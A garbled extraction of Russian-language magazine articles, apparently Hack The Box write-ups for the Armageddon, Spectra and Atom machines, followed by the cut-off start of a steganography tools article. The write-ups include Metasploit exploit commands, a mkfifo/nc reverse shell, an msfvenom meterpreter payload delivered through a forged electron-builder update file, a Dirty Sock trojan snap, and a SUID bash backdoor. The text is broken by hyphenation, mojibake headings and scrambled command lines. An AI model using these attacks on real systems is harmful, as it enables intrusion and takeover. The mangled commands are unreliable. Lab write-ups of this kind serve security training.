https://github.com/RustScan/RustScan
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/alphanum-case-extra.txt
https://github.com/danielmiessler/SecLists
https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf
https://github.com/artsploit/yaml-payload.git
https://github.com/wasmerio/wasmer-go
https://webassembly.github.io/
https://webassembly.github.io/wabt/demo/wasm2wat/
https://webassembly.github.io/wabt/demo/wat2wasm/index.html


HTB

ARMAGEDDON

ПОВЫШАЕМ ПРИВИЛЕГИИ В LINUX
ЧЕРЕЗ ТРОЯНСКИЙ ПАКЕТ SNAP

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этой статье мы попен тестим сайт
под управле нием Drupal, а затем про экс- 
плу ати руем нашумев шую в свое вре мя уяз- 
вимость Dirty Sock. Поможет нам в этом
лег кая по заяв ленно му уров ню слож ности
машина Armageddon с пло щад ки 

.
Hack

The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ад рес машины — 10.10.10.233, не забыва ем добавить его в 
и прис воим имя .

/etc/hosts
armageddon.htb

И сра зу же ска ниру ем пор ты. При вожу свой тра дици онный скрипт, осно- 
ван ный на Nmap:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Ре зуль тат работы скрип та

По резуль татам ска ниро вания име ем два откры тых пор та: 22 (служ ба SSH)
и 80 (веб-сер вер Apache).

Наш ли веб-сер вер — сра зу же идем смот реть, что за сайт на нем раз- 
вернут.

Стар товая стра ница сай та

Нас встре чает Drupal — одна из популяр ней ших сис тем управле ния кон- 
тентом (CMS). В ней навер няка най дут ся извес тные уяз вимос ти.

ÒÎ×ÊÀ ÂÕÎÄÀ: DRUPAL

Для Drupal так же есть спе циаль ное средс тво ска ниро вания, которое поможет
най ти уяз вимос ти, — . Уста новим прог рамму и выпол ним ска ниро- 
вание в 32 потока.

droopescan

git clone https://github.com/droope/droopescan.git 
cd droopescan 
pip  install -r requirements.txt 

 32 python3 droopescan scan drupal -u http://armageddon.htb -t

Ре зуль тат работы скрип та

Droopescan нашел уста нов ленные пла гины, темы и веро ятную вер сию CMS.
Пер вым делом сто ит про верить, есть ли для обна ружен ной вер сии готовые
экс пло иты. Надеж нее все го искать при помощи Google, а так же на спе циали- 
зиро ван ных сай тах — ,  и GitHub.HackerOne Exploit-DB

По иск экс пло итов в Google

Но если ты поль зуешь ся Kali, то Exploit-DB у тебя уже есть и в дан ном слу чае
дос таточ но запус тить ути литу searchsploit, что бы най ти сра зу нес коль ко экс- 
пло итов.

searchsploit Drupal 

Экс пло иты, най ден ные searchsploit

Ви дим, что хост содер жит извес тную уяз вимость Drupalgeddon 2, что даст нам
уда лен ное выпол нение кода (RCE). Помет ка Metasploit озна чает, что экс пло ит
уже реали зован для Metasploit Framework, и, так как это удоб нее, будем
исполь зовать его.

INFO

Под робный ана лиз прин ципов работы уяз вимос ти
читай в статье «

».
Дру пал геддон-2. Под робно раз- 

бира ем новую уяз вимость в Drupal

ÒÎ×ÊÀ ÎÏÎÐÛ

Ког да необ ходимый модуль най ден, сто ит гля нуть, какие ему нуж но задавать
парамет ры (коман да ).show options

По иск экс пло ита Drupalgeddon2 в Metasploit Framework

Оп ции модуля drupal_drupalgeddon2

Та ким обра зом, сле дует ука зать целевой хост для ата ки, а так же адрес
локаль ного хос та и порт для обратно го под клю чения.

 use exploit/unix/webapp/drupal_drupalgeddon2
  set RHOSTS armageddon.htb
  set LHOST 10.10.14.86
  set LPORT 80

run

Вы пол нение экс пло ита Drupalgeddon2

И мы получа ем обо лоч ку, где можем выпол нять коман ды на уда лен ном хос те.
Прав да, пока толь ко в кон тек сте учет ной записи поль зовате ля-служ бы.

ÏÐÎÄÂÈÆÅÍÈÅ

Так как на хос те раз вернут веб-сер вер, а на нем работа ет даже целая CMS,
то пер вое наше дей ствие — поп робовать получить какие-нибудь учет ные
дан ные поль зовате лей. Высока веро ятность, что эти учет ки подой дут и для
локаль ных поль зовате лей в сис теме. В слу чае с Drupal есть мес то, где учет- 
ные дан ные есть всег да, — файл с нас трой ками для под клю чения к базе дан- 
ных .default/settings.php

Со дер жимое дирек тории default

Со дер жимое фай ла settings.php

Эти учет ные дан ные поз воля ют под клю чить ся к базе дан ных и получить дру гие
кри тичес кие дан ные поль зовате лей. Спер ва коман дой  получим коман- 
дную обо лоч ку на уда лен ной машине, пос ле чего выпол ним под клю чение
к базе дан ных MySQL с получен ными учет ными дан ными.

shell

mysql -u drupaluser -h localhost -p

В слу чае с Drupal нас инте ресу ют дан ные из таб лицы  базы .users drupal

 use drupal;
   select name,pass from users;

show;

Дан ные из таб лицы users базы drupal

На ходим хеш пароля поль зовате ля . А как мы узна ем
из фай ла , дан ный поль зователь явля ется сис темным.

brucetherealadmin
/etc/passwd

Со дер жимое фай ла /etc/passwd

Да вай перебе рем этот пароль с помощью hashcat. Сна чала узна ем, какой
режим исполь зовать, а потом переда дим его номер через параметр .-m

 |    hashcat --example grep -A2 -B2 '$S'
hashcat -m 7900 -a 0 hash.txt ../tools/rockyou.txt 

Оп ределе ние типа хеша

Ре зуль тат перебо ра хеша

Мы успешно переби раем получен ный хеш и узна ем пароль поль зовате ля.
И пос ле под клю чения по SSH забира ем пер вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь, ког да мы получи ли дос туп к хос ту, нам необ ходимо соб рать
информа цию. Источни ков информа ции очень мно го, и, что бы не переби рать
их вруч ную, я обыч но исполь зую . Они авто мати чес ки про ходят
сис тему в поис ках зацепок для повыше ния при виле гий. Заг рузим на локаль- 
ный хост скрипт для Linux.

скрип ты PEASS

wget https://github.com/carlospolop/privilege-escalation-awesome-
scripts-suite/blob/master/linPEAS/linpeas.sh 

Те перь нуж но заг рузить его на уда лен ный хост. Для это го мож но исполь- 
зовать стан дар тные средс тва SSH. Пос ле заг рузки необ ходимо дать пра во
на выпол нение и выпол нить скрипт.

scp ../tools/linpeas.sh brucetherealadmin@armageddon.htb:/tmp/ 
chmod +x /tmp/linpeas.sh 
/tmp/linpeas.sh 

Ре зуль тат работы скрип та

Ви дим, что мы можем зацепить ся за нас трой ки sudoers ( ). Поль- 
зователь  без вво да пароля может выпол нить сле дующую
коман ду в при виле гиро ван ном кон тек сте:

sudo -l
brucetherealadmin

 /usr/bin/snap install *

Snap — это сис тема управле ния и рас пре деле ния пакетов, соз данная
в Canonical (раз работ чик Ubuntu). Сами пакеты Snap пред став ляют собой
заранее ском пилиро ван ные вмес те со все ми зависи мос тями и биб лиоте ками
при ложе ния, которые затем исполня ются в изо лиро ван ной сре де. Они лег че
и быс трее уста нав лива ются, могут получать пос ледние обновле ния, а так же
более безопас ны с точ ки зре ния дос тупа к опе раци онной сис теме и важ ным
фай лам.

Но все же при ложе ния могут получать дос туп к хос ту при работе в режиме
devmode. Snap исполь зует Linux-сокет , который необ ходим для свя- 
зи меж ду про цес сами на одном компь юте ре. Для него уста нов лены пра- 
ва 0666, что поз воля ет любому про цес су под клю чать ся и вза имо дей ство вать
с этим сокетом.

AF_UNIX

Для под клю чения к это му сокету Snap исполь зует спе циаль ный хорошо
задоку мен тирован ный RESTful API, через который и про изво дит нуж ные нам
манипу ляции. К при меру, в пер вой вер сии экс пло ита исполь зовал ся API
для соз дания поль зовате ля — . Во вто рой исполь- 
зует ся API для заг рузки оснас тки с bash-скрип том — .

POST /v2/create-user
POST /v2/snaps

Од нако для исполь зования этих API нужен при виле гиро ван ный дос туп,
поэто му Snap про веря ет его наличие путем зап роса UID (иден тифика тор
поль зовате ля рута — 0) при любом под клю чении к сокету. Уяз вимость зак- 
люча ется в том, что мож но переза писать перемен ную с UID во вре мя ее син- 
такси чес кого ана лиза. Это поз воля ет любому поль зовате лю получить дос туп
к любой фун кции API, в том чис ле и к .POST /v2/snaps

Вот что вкрат це про исхо дит при запус ке экс пло ита :dirty_sockv2
соз дает ся поль зователь, в име ни которо го при сутс тву ет подс тро ка •

;; uid = 0;
про исхо дит при вяз ка сокета к соз данно му фай лу;•
про исхо дит под клю чение к API snapd;•
за пус кает ся основная тро янская оснас тка;•
очи щают ся изме нения.•

Проб ный запуск экс пло ита

Так как уста нов ку тро янско го пакета нуж но выпол нять под , экс плу ати- 
ровать будем в руч ном режиме. Ско пиру ем из экс пло ита тро янский пакет,
закоди рован ный в Вase64, декоди руем и запишем в файл.

sudo

Тро янский пакет Snap в коде экс пло ита

 python3 -c "print('''
 |   aHNxcwc...ACAAw''' + 'A' * 4256 + '==')" base64 -d > ralf.snap 

Соз дание пакета Snap

А теперь уста новим этот пакет.

 sudo /usr/bin/snap install --devmode ralf.snap 

Ре зуль тат работы скрип та

Тро янский пакет соз даст поль зовате ля  с паролем .
Вой дем под новой учет ной записью.

dirty_sock dirty_sock

Сме на поль зовате ля

Для это го поль зовате ля через sudo дос тупны любые коман ды без вво да
пароля.

Нас трой ки судо ера для dirty_sock

Ко неч но же, мы получим обо лоч ку в кон тек сте root.

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
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https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://raw.githubusercontent.com/initstring/dirty_sock/master/dirty_sockv2.py
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SPECTRA

И ПОВЫШАЕМ ПРИВИЛЕГИИ
В UNIX

ПЕНТЕСТИМ WORDPRESS

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

Се год ня мы с тобой прой дем лег кую
машину с пло щад ки  под наз- 
вани ем Spectra. Мы будем пен тестить сайт
под управле нием WordPress, прод вигать ся
на хос те бла года ря авто логи ну и повысим
при виле гии за счет коман ды .

Hack The Box

initctl

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

Пер вым делом добав ляем IP машины в :/etc/hosts

10.10.10.229    spectra.htb 

И ска ниру ем пор ты.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Ре зуль тат работы скрип та

По резуль татам ска ниро вания име ем три откры тых пор та:
порт 22 — служ ба SSH;•
порт 80 — веб-сер вер nginx 1.17.4;•
порт 3306 — СУБД MySQL.•

SSH и MySQL для нас пока зак рыты, поэто му нач нем с веба. Вни матель но
изу чим сайт и соберем информа цию.

Ñêàíèðîâàíèå âåá-êîíòåíòà

Сайт пред став ляет собой прос то стра ницу с дву мя ссыл ками. Пер вая ведет
к катало гу, где раз вернут сайт Software Issue Management на WordPress, а по
вто рому адре су прос то получим сооб щение об ошиб ке при под клю чении
к базе дан ных.

Глав ная стра ница сай та

Стра ница сай та Software Issue Management

Со обще ние об ошиб ке соеди нения с базой дан ных

ÒÎ×ÊÀ ÂÕÎÄÀ

Ин тересен адрес тес тового сай та:

http://10.10.10.229/testing/index.php 

Мне показа лось подоз ритель ным пря мое ука зание индекс-фай ла ,
поэто му я про верил, что вер нет сер вер при обра щении к 

. И сер вер вдруг вер нул все содер жимое этой дирек тории!
Прос тей шая ошиб ка в нас трой ках веб-сер вера, которая иног да может
помочь.

index.php
http://10.10.10.

229/testing/

Со дер жимое дирек тории testing

Быс тро перес мотрев фай лы, я нашел в  (бэкап 
) учет ные дан ные для под клю чения к базе дан ных.

wp-config.php.save wp-
config.php

Учет ные дан ные для под клю чения к базе дан ных

Уже что-то име ем, но под клю чить ся к базе дан ных у меня не выш ло, пос коль ку
либо зап рещена уда лен ная авто риза ция, либо в нас трой ках служ бы ука зан
толь ко опре делен ный адрес, с которо го раз решено под клю чение. Так что
про дол жим изу чать веб и перей дем к WordPress.

WordPress

Для тес тирова ния сай тов на WordPress мне не раз при гож далась ути лита
. С ее помощью мож но обна ружить уяз вимые вер сии самого

WordPress, тем и пла гинов, а так же соб рать спи сок поль зовате лей и переб- 
рать учет ные дан ные — в общем, все, что нуж но.

WPScan

Ча ще все го уяз вимос ти кро ются в пла гинах, поэто му я зарядил перебор
в агрессив ном режиме (занима ет око ло получа са).

wpscan --url http://spectra.htb/main/ --plugins-detection aggressive 

К сожале нию, ничего обна руже но не было. Но вспом ним, что у нас есть один
пароль, который мож но спре ить (Password Spraying) по всем най ден ным поль- 
зовате лям. Давай поищем их в CMS. Запус каем WPScan с опци ей .-e u

 u wpscan --url http://spectra.htb/main/ -e

Най ден ные поль зовате ли

И у нас получа ется авто ризо вать ся от име ни поль зовате ля administrator
с паролем, най ден ным в бэкапе фай ла кон фигура ций WordPress.

Про филь поль зовате ля administrator

ÒÎ×ÊÀ ÎÏÎÐÛ

Ад минис тра тор WordPress име ет пра во заг ружать на сер вер файл, поэто му
мы можем заг рузить шелл и выпол нить бэк коннект к сво ему хос ту. В дан ном
слу чае это лег че все го сде лать с помощью модуля 

 в Metasploit Framework. В опци ях модуля сле дует
ука зать адрес и порт локаль ного хос та для под клю чения (  и ),
целевой хост ( ), дан ные адми нис тра тор ской учет ки и путь к домаш- 
нему катало гу WordPress ( ).

exploit/unix/webapp/
wp_admin_shell_upload

LHOST LPORT
RHOSTS

TARGETURI
Пос ле запус ка коман дами  или  получим сес сию Meterpreter

в кон тек сте учет ной записи служ бы nginx.
run exploit

 

 

msfconsole 
use exploit/unix/webapp/wp_admin_shell_upload 
set LHOST 10.10.14.141 
set LPORT 4321 
set RHOSTS spectra.htb 
set USERNAME administrator 
set PASSWORD devteam01 
set TARGETURI /main 
run

Ре зуль тат работы экс пло ита wp_admin_shell_upload

ÏÐÎÄÂÈÆÅÍÈÅ

Ког да получа ешь шелл в кон тек сте учет ной записи служ бы веб-сер вера, пер- 
вым делом сто ит смот реть дан ные из фай лов, которые отве чают за под клю- 
чение к базе дан ных, хеши паролей поль зовате лей сай та, а так же вся кие
пароли и клю чи в коде.

Од нако в дан ном слу чае у нас уже есть и пароль для под клю чения к базе
дан ных, и пароль поль зовате ля сай та, поэто му будем искать кри тичес кие дан- 
ные где-то на хос те. Прос матри вая дирек тории, я нат кнул ся на файл 

 скрипт, который отве чает за авто мати чес кий
вход в сис тему без логина.

 —/opt/autologin.conf.orig

Лис тинг дирек тории /opt

Со дер жимое фай ла /opt/autologin.conf.orig

В скрип те исполь зует ся файл , а в нем мы находим
пароль.

/etc/autologin/passwd

Со дер жимое фай ла /etc/autologin/passwd

INFO

Каж дый раз, ког да получа ешь новые име на поль- 
зовате лей и пароли, не забывай про верять их
в раз ных ком бинаци ях во всех дос тупных сер- 
висах.

В катало ге  я обна ружил мно го папок, а это зна чит, что в сис теме мно го
поль зовате лей. Узнать о них боль ше мож но из фай ла .

/home
/etc/passwd

Со дер жимое дирек тории /home

Дан ные из фай ла /etc/passwd

В ито ге обна ружи ваем поль зовате ля , от име ни которо го можем авто- 
ризо вать ся по SSH с най ден ным паролем.

katie

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Мы заш ли как поль зователь, оста лось получить при виле гии рута. Скрипт
, который я обыч но исполь зую для раз ведки и поис ка путей повыше- 

ния при виле гий, не сра ботал, поэто му приш лось про водить про вер ку вруч- 
ную.

LinPEAS

Пер вым делом про веря ем наибо лее веро ятные мес та: нас трой ки sudoers,
при ложе ния с выс тавлен ным битом SUID, прос лушива емые на локал хосте
пор ты. Нам везет еще на ста дии sudoers. При вво де коман ды  видим
такую кар тину.

sudo -l

Нас трой ки судо ера

Лю бой поль зователь (ALL) может выпол нить коман ду  в при- 
виле гиро ван ном кон тек сте без вво да пароля (NOPASSWD). Initctl — это инс- 
тру мент для вза имо дей ствия с демоном ини циали зации init.

/sbin/initctl

Ло гич ный спо соб его экс плу ата ции — коман да запус ка задачи 
. Для это го нам понадо бит ся кон фигура цион ный файл задачи в дирек- 

тории .

initctl 
start

/etc/init/
При прос мотре это го катало га най дем нес коль ко тес товых кон фигов, дос- 

тупных груп пе, в которую вхо дит текущий поль зователь.

Спи сок фай лов в дирек тории /etc/init/

Все, что нуж но сде лать, — это выб рать любой из этих кон фигов и записать
коман ду на bash где-то меж ду дирек тивами  и . Сна чала я
записал реверс-шелл для BSD.

script end script

ip] rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [ [port] >/
tmp/f 

Ста рый файл кон фигура ции

Из менен ный файл кон фигура ции

Но ука зан ный шелл не давал бэк коннект, поэто му приш лось искать дру гие
пути для зак репле ния в при виле гиро ван ном кон тек сте: запись клю чей SSH,
соз дание при виле гиро ван ных поль зовате лей и так далее. Пло ды дало наз- 
начение бита SUID на файл :/bin/bash

chmod +s /bin/bash 

Ес ли ты вни матель но читал книж ки по Unix, то навер няка зна ешь, что если
у исполня емо го фай ла задан бит SUID (set user ID), то обыч ный поль зователь,
который запус кает этот файл, получит повыше ние прав до вла дель ца это го
фай ла в рам ках запущен ного про цес са. Пос коль ку вла делец bash — это root,
то мы таким обра зом смо жем выпол нять коман ды от его име ни.

INFO

Из-за воз можнос ти сос тояния гон ки мно гие опе- 
раци онные сис темы игно риру ют уста нов ленный
shell-скрип том S-атри бут.

Ос талось прос то запус тить задачу коман дой .initctl start

За пуск задачи

Ко ман да выпол нена успешно, мы можем запус тить при виле гиро ван ный bash.

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/wpscanteam/wpscan
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
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ВЗЛОМ

В этой статье мы ата куем при ложе ние
через уяз вимость в electron-builder, порабо-
таем с базой дан ных Redis и рас шифру ем
пароль от Kanban. Все эти вещи встре тят ся
нам при про хож дении сред ней по слож- 
ности машины с пло щад ки 
под наз вани ем Atom. Прис тупим!

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем в  IP машины:/etc/hosts

10.10.10.234    schooled.htb 

И ска ниру ем ее пор ты в два про хода при помощи Nmap:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Ре зуль тат работы скрип та

На ходим шесть откры тых пор тов:
порт 80 — веб-сер вер Apache 2.4.46;•
порт 135 — служ ба уда лен ного вызова про цедур (Microsoft RPC);•
порт 443 — веб-сер вер Apache 2.4.46 + SSL (HTTPS);•
порт 445 — SMB;•
порт 5985 — служ ба уда лен ного управле ния WinRM;•
порт 6379 — Redis.•

Раз есть сайт, начинать осмотр нуж но имен но с него. Здесь могут най тись
и точ ки вхо да в виде раз ных уяз вимос тей, и прос то важ ная инфа — к при меру,
име на поль зовате лей. И конеч но, осмотр сай та дает воз можность понять,
с какими тех нологи ями при дет ся стол кнуть ся.

Стар товая стра ница сай та

На пер вый взгляд, ничего инте рес ного на сай те нет, кро ме воз можнос ти ска- 
чать архив с каким-то прог рам мным обес печени ем.

Òåñòèðîâàíèå SMB

Те перь про веря ем, что нам может дать SMB. Под клю чив шись к нему, находим
общую дирек торию , которая дос тупна без авто риза ции.
И c помощью  сра зу прос матри ваем рекур сивно все содер жимое
(опция ).

Software_Updates
SMBMap

-R

smbmap -H atom.htb -u anonymous 

Про вер ка ано ним ного дос тупа

smbmap -H atom.htb -u anonymous -R Software_Updates 

По луче ние содер жимого обще го ресур са Software_Updates

Нам дос тупны три одно тип но наз ванные дирек тории , а так же файл
. Давай-ка ска чаем его пос мотреть. Для это го

будем исполь зовать .

client
UAT_Testing_Procedures.pdf

smbclient

smbclient "\\\10.10.10.237\Software_Updates"
get UAT_Testing_Procedures.pdf 

По луче ние фай ла UAT_Testing_Procedures.pdf

Со дер жимое фай ла UAT_Testing_Procedures.pdf

До кумент — это опи сание при ложе ния для соз дания заметок под наз вани ем
Heed. А раз работан этот Heed с помощью electron-builder. Так же в докумен те
отме чен план перехо да от одно уров невого тол сто го кли ента на пол ноцен ную
дву хуров невую архи тек туру.

ÒÎ×ÊÀ ÂÕÎÄÀ

Что очень важ но, в докумен тации изло жена и тех ничес кая сто рона работы
с при ложе нием. Так, в начале работы прог рамму тре бует ся ском пилиро вать
и уста новить. Затем упо мина ется сер вер обновле ний. Что бы обно вить ся,
нуж но помес тить обновле ния в одну из папок  (теперь ста новит ся
понят но их пред назна чение). При этом обновле ния будут про ходить некую
про вер ку кон тро ля качес тва. Про цесс про вер ки уста нов ленных обновле ний
нас не инте ресу ет.

client

Здесь уже виден сле дующий век тор ата ки: на сер вере работа ет при ложе- 
ние, которое авто мати чес ки обновля ется, а мы име ем дос туп к дирек тории,
отку да оно берет обновле ния. Нуж но лишь разоб рать ся, в каком виде тре- 
бует ся пред ста вить обновле ния, а так же что делать с их про вер кой.

Да вай поищем извес тные уяз вимос ти в electron-builder. Обыч но сле дует
искать сра зу готовые экс пло иты, что бы понимать уже реали зован ные уяз- 
вимос ти, и делать это с помощью поис ковых движ ков вро де Google.

По иск уяз вимос тей с помощью Google

Electron-builder — это решение для упа ков ки и соз дания готово го к рас- 
простра нению при ложе ния Electron. Одно из его пре иму ществ — это под дер- 
жка авто мати чес кого обновле ния. Для вер сии под Mac и Windows реали зова- 
на под дер жка под писи и про вер ки кода — видимо, о таком кон тро ле и упо- 
мина лось в докумен тации. За авто мати чес кое обновле ние отве чает модуль,
который исполь зует инстал лятор NSIS (в слу чае с Windows). Тот, в свою оче- 
редь, может под писывать обновле ния при помощи одно го из двух алго рит мов
хеширо вания: SHA-1 и SHA-256.

У electron-builder наш лась уяз вимость, которую мож но исполь зовать
для обхо да про вер ки под писи, что дол жно при вес ти нас к уда лен ному выпол- 
нению команд. Про вер ка под писи осно вана на срав нении строк

 исполня емо го фай ла и атри бута  сер тифика та
обновле ния. При обновле нии при ложе ние получит с сер вера обновле ний
файл , который содер жит опи сание, имя фай ла и хеш. Вот фраг- 
мент кода, который про изво дит обновле ние:

publisherName Common Name

latest.yml

, , , 
, , , 

execFile("powershell.exe" ["-NoProfile" "-NonInteractive"
"-InputFormat" "None" "-Command" `Get-AuthenticodeSignature '${
tempUpdateFile}' | ConvertTo-Json -Compress`], ... 

Уяз вимость зак люча ется в том, что перемен ная  переда- 
ется без экра ниро вания, что поз воля ет обой ти про вер ку стро кой с ошиб кой
син такси са. Для это го в име ни фай ла дос таточ но передать оди нар ную кавыч- 
ку ( ).

${tempUpdateFile}

'

ÒÎ×ÊÀ ÎÏÎÐÛ

На ша задача — под готовить «опас ное» обновле ние. Для это го сде лаем наг- 
рузку  с помощью  (сра зу ого ворюсь, что
на x64 работать не будет):

meterpreter msfvenom

4321  exe  
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.126 LPROT=

-f -o "r'alf.exe"

Ге нери рова ние наг рузки meterpreter

Те перь под готовим под пись. Это хеш SHA-512 в кодиров ке Base64.

  |      |    sha512sum "r'alf.exe" cut -d " " -f1 | xxd -r -p base64 -w0 ;
echo

Соз дание под писи для фай ла

За вер шим под готов ку, соз дав файл . В нем ука зыва ем вер сию,
URL, по которо му будет заг ружен наш пей лоад, и под пись:

latest.yaml

 version: 1.5.7
 path: http://10.10.14.126:8000/r'alf.exe
 sha512: fkPZ57/

dyfy7LqM0suIUt7RvlKopmEfJvv4SQCkrddvkfxnKl4GaYlBv3OW95M8tVLhTxNWZLJWM
HSGap0yAMQ==

Ос талось запус тить веб-сер вер (я по тра диции исполь зую Python 3) и открыть
лис тенер Metasploit Framework. Будем исполь зовать модуль , которо- 
му нуж но ука зать тип наг рузки, локаль ные хост и порт.

handler

python3 -m http.server 

msfconsole 
use exploit/multi/handler 
set LHOST 10.10.14.126 
set LPORT 4321 
run 

Соз дание лис тенера Metasploit Framework

Под клю чим ся по SMB и раз местим в любой из папок  файл 
. Спус тя некото рое вре мя в логах веб-сер вера уви дим заг рузку нашего

пей лоада, а в окне лис тенера — соз данную сес сию .

client latest.
yml

meterpreter

smbclient "\\\10.10.10.237\Software_Updates"
cd client1 
put latest.yml 

Ло ги веб-сер вера

Флаг поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ

Так как мы работа ем в при ложе нии архи тек туры x86, для ста биль нос ти нам
нуж но миг рировать в один из про цес сов x64. Сна чала прос мотрим все про- 
цес сы текуще го поль зовате ля, а потом выпол ним миг рацию в пер вый попав- 
ший ся.

ps -U jason 
pid] migrate [

getpid 

Спи сок про цес сов поль зовате ля jason

Миг рация в поль зователь ский про цесс

Те перь, ког да мы получи ли дос туп к хос ту и успешно миг рирова ли в дру гой
про цесс, нам необ ходимо соб рать информа цию. Я это делаю при помощи

, которые есть и для Windows, и для Unix. Они авто мати чес ки
про шер стят сис тему, выдадут всю информа цию и под све тят то, на что сто ит
обра тить вни мание. Заг рузим на локаль ный хост скрипт для Windows.
С Meterpreter это сде лать очень лег ко.

скрип тов PEASS

Заг рузка и выпол нение скрип та

В выводе мы получим все воз можную информа цию, поэто му наша задача —
выб рать важ ную. В спис ке уста нов ленно го ПО находим Redis, при чем мы
можем уви деть путь к фай лу кон фигура ции служ бы. Находим исполня емый
файл Kanban, а так же докумен тацию к прог рамме.

Спи сок уста нов ленно го прог рам мно го обес печения

За пущен ные служ бы

Най ден ные на хос те докумен ты

Най ден ные исполня емые фай лы и скрип ты

В фай ле кон фигура ций для Redis находим пароль.

Со дер жимое фай ла кон фигура ций Redis

Redis — это сис тема управле ния базами дан ных клас са NoSQL, работа ющая
со струк турами дан ных типа «ключ — зна чение». Исполь зует ся как для баз
дан ных, так и для реали зации кешей и бро керов сооб щений. В нашем слу чае
Redis «смот рит наружу», поэто му мы можем исполь зовать для работы кли ент

 (для уста нов ки нуж но выпол нить 
).

redis-cli sudo apt install redis-
tools

Под клю чим ся к служ бе и получим клю чи:

redis-cli -h 10.10.10.237 -a kidvscat_yes_kidvscat 
keys *

По луче ние клю чей в Redis

По лучим дан ные по клю чу 
.

pk:urn:user:e8e29158-d70d-44b1-a1ba-
4949d52790a0

get pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0 

По луче ние дан ных

Я сра зу узнал кон фиг Portable Kanban (кста ти, он же уста нов лен на хос те), так
как дос таточ но дол го  с ним при про хож дении дру гой машины —
Sharp.

во зил ся

ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Мы получи ли зашиф рован ный пароль, а в интерне те навер няка есть
информа ция о том, как его рас шифро вать. Дол го искать не приш лось, пер вая
же ссыл ка при вела на . Нам нуж на малая часть кода, а вер нее, толь- 
ко одна фун кция. Но сна чала уста новим биб лиоте ку des (

).

Exploit-DB
python3 -m pip 

install des

   from des import *
 import base64

  hash = base64.b64decode("Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi".encode(
'utf-8'))

  key = DesKey(b"7ly6UznJ")
print(key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode(
'utf-8'))

Рас шифро ван ный пароль адми нис тра тора

По луча ем пароль адми нис тра тора, с помощью которо го мы можем авто ризо- 
вать ся через служ бу WinRM.

   evil-winrm -i 10.10.10.237 -u 'administrator' -p
'kidvscat_admin_@123'

Флаг рута

У нас есть флаг рута, а зна чит, машина зах вачена.

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
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https://www.exploit-db.com/exploits/49409
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ТРЮКИ

Ес ли ты дума ешь, что в фот ках с котика ми не может скры- 
вать ся ничего пос торон него, — спе шу тебя разоча ровать
(или, наобо рот, порадо вать!). Сей час я покажу, как внед рить
в кар тинку, архив или пес ню любую пос торон нюю информа- 
цию, да так, что бы ее ник то там не заметил. Инте рес но? Пог- 
нали!

О прин ципах сте ганог рафии мы уже не раз писали — смот ри, к при меру,
статью «

». Одна ко в ней перечис лены далеко не все ути литы и при цел
сде лан на Windows. Сегод ня мы рас смот рим восемь аль тер натив ных ути лит,
в основном — кросс-плат формен ные.

Пря чем фай лы в кар тинках: семь сте ганог рафичес ких ути лит
для Windows

CLOAKIFY

 любая• Ïëàò ôîðìà:

 • Ãäå ñêà ÷èâàòü: GitHub

CloakifyFactory — это боль шая и лег ко рас ширя емая прог рамма, которая
исполь зует скрип ты Cloakify Toolset. Осо бен ность ее в том, что перед мас- 
киров кой наг рузки она кодиру ется в Base64.

У прог раммы есть огромный плюс — она уме ет мас кировать что угод но
не прос то в кар тинках, а еще и в видео, музыке и даже прог раммах, хоть и с
пос ледни ми получа ется пло хо — выход ной файл силь но раз дува ется.

Ра бота ет Cloakify на Python 2.7, который уже мораль но и физичес ки уста- 
рел, а исполь зование Base64 для скры тия информа ции от нево ору жен ного
гла за при водит к силь ному уве личе нию раз мера, не давая никако го замет- 
ного пре иму щес тва.

Для при мера давай обыч ный тек сто вый документ внед рим в кар тинку фор- 
мата JPEG. Мой исходный файл называ ется  и лежит в одной дирек- 
тории с самой прог раммой. Внед рение фай ла край не прос тое и выг лядит
при мер но так.

save.txt

Про пус каем фун кцию добав ления шумов. Для нас они погоды не сде лают, но,
если ты хочешь допол нитель но замас кировать информа цию, могут помочь.

Как ты уже мог догадать ся, этот софт для сок рытия дей стви тель но сек ретной
